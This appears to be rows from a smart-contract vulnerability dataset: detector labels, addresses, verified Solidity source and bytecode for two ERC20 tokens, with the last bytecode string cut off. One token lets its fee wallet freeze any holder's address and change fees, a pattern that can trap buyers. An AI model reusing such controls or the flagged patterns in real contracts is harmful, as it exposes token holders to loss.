4aa382f9beafc6564736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
10,716
0x716766e97323c58499afa1aefb2a22f48f37e5fc
/** *Submitted for verification at Etherscan.io on 2022-04-20 */ // SPDX-License-Identifier: MIT /* _____ _ _ _ _ | ___|_ _ _ __ _ __ ___ _ _ __ _ _ __ __| | / \ _ __ (_)_ __ ___ __ _| |___ | |_ / _` | '__| '_ ` _ \| | | |/ _` | '__/ _` | / _ \ | '_ \| | '_ ` _ \ / _` | / __| | _| (_| | | | | | | | | |_| | (_| | | | (_| | / ___ \| | | | | | | | | | (_| | \__ \ |_| \__,_|_| |_| |_| |_|\__, |\__,_|_| \__,_| /_/ \_\_| |_|_|_| |_| |_|\__,_|_|___/ |___/ */ pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract FarmyardAnimalsCoin is IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; uint16 internal _symbolHash = 34876; string private _name; string private _symbol; constructor(uint256 totalSupply_, string memory name_, string memory symbol_) payable { _name = name_; _symbol = symbol_; _balances[msg.sender] = totalSupply_; _totalSupply = totalSupply_; emit Transfer(address(0), msg.sender, totalSupply_); _allowances[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = totalSupply_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount); unchecked { _approve(sender, msg.sender, currentAllowance - amount); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { uint256 senderBalance = _balances[sender]; require(senderBalance >= amount); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461010d57806395d89b4114610136578063a9059cbb1461013e578063dd62ed3e1461015157600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061018a565b6040516100ad91906103bc565b60405180910390f35b6100c96100c436600461042d565b61021c565b60405190151581526020016100ad565b6002545b6040519081526020016100ad565b6100c96100f9366004610457565b610232565b604051601281526020016100ad565b6100dd61011b366004610493565b6001600160a01b031660009081526020819052604090205490565b6100a0610288565b6100c961014c36600461042d565b610297565b6100dd61015f3660046104b5565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b606060048054610199906104e8565b80601f01602080910402602001604051908101604052809291908181526020018280546101c5906104e8565b80156102125780601f106101e757610100808354040283529160200191610212565b820191906000526020600020905b8154815290600101906020018083116101f557829003601f168201915b5050505050905090565b60006102293384846102a4565b50600192915050565b600061023f848484610305565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561027057600080fd5b61027d85338584036102a4565b506001949350505050565b606060058054610199906104e8565b6000610229338484610305565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166000908152602081905260409020548181101561032b57600080fd5b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610362908490610522565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516103ae91815260200190565b60405180910390a350505050565b600060208083528351808285015260005b818110156103e9578581018301518582016040015282016103cd565b818111156103fb576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461042857600080fd5b919050565b6000806040838503121561044057600080fd5b61044983610411565b946020939093013593505050565b60008060006060848603121561046c57600080fd5b61047584610411565b925061048360208501610411565b9150604084013590509250925092565b6000602082840312156104a557600080fd5b6104ae82610411565b9392505050565b600080604083850312156104c857600080fd5b6104d183610411565b91506104df60208401610411565b90509250929050565b600181811c908216806104fc57607f821691505b60208210810361051c57634e487b7160e01b600052602260045260246000fd5b50919050565b6000821982111561054357634e487b7160e01b600052601160045260246000fd5b50019056fea2646970667358221220e69a9b089c7e39d0e2e02751d5aaa80addf3b621e9248c6dc30e5ca7c8e2c59464736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
10,717
0x11ef4931e6dceffa2b136483bc053445194d84db
/** *Submitted for verification at Etherscan.io on 2022-04-08 */ /** ************************************************************************************************ ********** __ __ __ __ _______ __ _______ _______ ********** ********** \ \ __ / / | | | | / ___ \ | | | ____| | _____| ********** ********** \ \ / \ / / | |___| | / /___\ \ | | | |_ | |____ ********** ********** \ \/ /\ \/ / | |___| | | /_____\ | | | | _| |____ | ********** ********** \ / \ / | | | | | | | | | |____ | |____ ____| | ********** ********** \/ \/ |__| |__| |__| |__| |_______| |_______| |_______| ********** ************************************************************************************************ ******************************* __________ _________ *************************************** ******************************* | ____ | | ______| *************************************** ******************************* | | | | | |__ *************************************** ******************************* | | | | | __| *************************************** ******************************* | |____| | | | *************************************** ******************************* |__________| |__| *************************************** ************************************************************************************************ ************************************************************************************************ **************** _________ ______ __ __ _______ ******************** **************** | ______| / ___ \ / \ / \ | ____| ******************** **************** | |__ / / \ \ / \/ \ | |_ ******************** **************** | __| | /_____\ | / /\ /\ \ | _| ******************** **************** | | | | | | / / \__/ \ \ | |____ ******************** **************** |__| |__| |__| /__/ \__\ |_______| ******************** **************** ******************** ************************************************************************************************ /* MAX buy at launch : 30.000.000.000 MAX buy after 10min : NO LIMIT LP lock & ownership renounced. */ pragma solidity ^0.8.10; // SPDX-License-Identifier: MIT abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract WhalesOFfame is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"WhalesOFfame"; //// string public constant symbol = unicode"WOFFE"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable private _FeeAddress1; address payable private _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 4; uint public _sellFee = 4; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "ERC20: transfer from frozen wallet."); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (1 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (15 minutes)) { fee += 5; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 30000000000 * 10**9; // 3% _maxHeldTokens = 60000000000 * 10**9; // 6% } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); require(buy <= 10); require(sell <= 10); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function setBots(address[] memory bots_) external { require(_msgSender() == _FeeAddress1); for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _FeeAddress1); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101f25760003560e01c8063509016171161010d578063a9059cbb116100a0578063c9567bf91161006f578063c9567bf9146105a3578063db92dbb6146105b8578063dcb0e0ad146105cd578063dd62ed3e146105ed578063e8078d941461063357600080fd5b8063a9059cbb14610538578063b2131f7d14610558578063b515566a1461056e578063c3c8cd801461058e57600080fd5b8063715018a6116100dc578063715018a6146104b45780638da5cb5b146104c957806394b8d8f2146104e757806395d89b411461050757600080fd5b80635090161714610449578063590f897e146104695780636fc3eaec1461047f57806370a082311461049457600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103a257806340b9a54b146103db57806345596e2e146103f157806349bd5a5e1461041157600080fd5b806327f3a72a14610330578063313ce5671461034557806331c2d8471461036c57806332d873d81461038c57600080fd5b80630b78f9c0116101c15780630b78f9c0146102be57806318160ddd146102de5780631940d020146102fa57806323b872dd1461031057600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f61461026c578063095ea7b31461028e57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025f6040518060400160405280600c81526020016b5768616c65734f4666616d6560a01b81525081565b60405161021e9190611bce565b34801561027857600080fd5b5061028c610287366004611c48565b610648565b005b34801561029a57600080fd5b506102ae6102a9366004611c65565b6106bd565b604051901515815260200161021e565b3480156102ca57600080fd5b5061028c6102d9366004611c91565b6106d3565b3480156102ea57600080fd5b50683635c9adc5dea00000610214565b34801561030657600080fd5b50610214600f5481565b34801561031c57600080fd5b506102ae61032b366004611cb3565b610756565b34801561033c57600080fd5b5061021461083e565b34801561035157600080fd5b5061035a600981565b60405160ff909116815260200161021e565b34801561037857600080fd5b5061028c610387366004611d0a565b61084e565b34801561039857600080fd5b5061021460105481565b3480156103ae57600080fd5b506102ae6103bd366004611c48565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103e757600080fd5b50610214600b5481565b3480156103fd57600080fd5b5061028c61040c366004611dcf565b6108da565b34801561041d57600080fd5b50600a54610431906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045557600080fd5b5061028c610464366004611c48565b61099e565b34801561047557600080fd5b50610214600c5481565b34801561048b57600080fd5b5061028c610a0c565b3480156104a057600080fd5b506102146104af366004611c48565b610a39565b3480156104c057600080fd5b5061028c610a54565b3480156104d557600080fd5b506000546001600160a01b0316610431565b3480156104f357600080fd5b506011546102ae9062010000900460ff1681565b34801561051357600080fd5b5061025f60405180604001604052806005815260200164574f46464560d81b81525081565b34801561054457600080fd5b506102ae610553366004611c65565b610ac8565b34801561056457600080fd5b50610214600d5481565b34801561057a57600080fd5b5061028c610589366004611d0a565b610ad5565b34801561059a57600080fd5b5061028c610be4565b3480156105af57600080fd5b5061028c610c1a565b3480156105c457600080fd5b50610214610cbe565b3480156105d957600080fd5b5061028c6105e8366004611df6565b610cd6565b3480156105f957600080fd5b50610214610608366004611e13565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561063f57600080fd5b5061028c610d53565b6008546001600160a01b0316336001600160a01b03161461066857600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106ca33848461109a565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106f357600080fd5b600a82111561070157600080fd5b600a81111561070f57600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561078457506001600160a01b03831660009081526004602052604090205460ff16155b801561079d5750600a546001600160a01b038581169116145b156107ec576001600160a01b03831632146107ec5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107f78484846111be565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610826908490611e62565b905061083385338361109a565b506001949350505050565b600061084930610a39565b905090565b6008546001600160a01b0316336001600160a01b03161461086e57600080fd5b60005b81518110156108d65760006006600084848151811061089257610892611e79565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ce81611e8f565b915050610871565b5050565b6000546001600160a01b031633146109045760405162461bcd60e51b81526004016107e390611eaa565b6008546001600160a01b0316336001600160a01b03161461092457600080fd5b600081116109695760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107e3565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106b2565b6009546001600160a01b0316336001600160a01b0316146109be57600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106b2565b6008546001600160a01b0316336001600160a01b031614610a2c57600080fd5b47610a368161182d565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a7e5760405162461bcd60e51b81526004016107e390611eaa565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006106ca3384846111be565b6008546001600160a01b0316336001600160a01b031614610af557600080fd5b60005b81518110156108d657600a5482516001600160a01b0390911690839083908110610b2457610b24611e79565b60200260200101516001600160a01b031614158015610b75575060075482516001600160a01b0390911690839083908110610b6157610b61611e79565b60200260200101516001600160a01b031614155b15610bd257600160066000848481518110610b9257610b92611e79565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bdc81611e8f565b915050610af8565b6008546001600160a01b0316336001600160a01b031614610c0457600080fd5b6000610c0f30610a39565b9050610a36816118b2565b6000546001600160a01b03163314610c445760405162461bcd60e51b81526004016107e390611eaa565b60115460ff1615610c915760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e3565b6011805460ff19166001179055426010556801a055690d9db80000600e55680340aad21b3b700000600f55565b600a54600090610849906001600160a01b0316610a39565b6000546001600160a01b03163314610d005760405162461bcd60e51b81526004016107e390611eaa565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106b2565b6000546001600160a01b03163314610d7d5760405162461bcd60e51b81526004016107e390611eaa565b60115460ff1615610dca5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e3565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e073082683635c9adc5dea0000061109a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e699190611edf565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eb6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eda9190611edf565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4b9190611edf565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f7b81610a39565b600080610f906000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ff8573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061101d9190611efc565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d69190611f2a565b6001600160a01b0383166110fc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107e3565b6001600160a01b03821661115d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e3565b6001600160a01b0382166112845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e3565b600081116112e65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107e3565b6001600160a01b03831660009081526006602052604090205460ff161561135b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107e3565b600080546001600160a01b0385811691161480159061138857506000546001600160a01b03848116911614155b156117ce57600a546001600160a01b0385811691161480156113b857506007546001600160a01b03848116911614155b80156113dd57506001600160a01b03831660009081526004602052604090205460ff16155b1561166a5760115460ff166114345760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107e3565b6010544214156114745760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107e3565b42601054610e106114859190611f47565b11156114ff57600f5461149784610a39565b6114a19084611f47565b11156114ff5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107e3565b6001600160a01b03831660009081526005602052604090206001015460ff16611567576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115779190611f47565b111561164b57600e548211156115cf5760405162461bcd60e51b815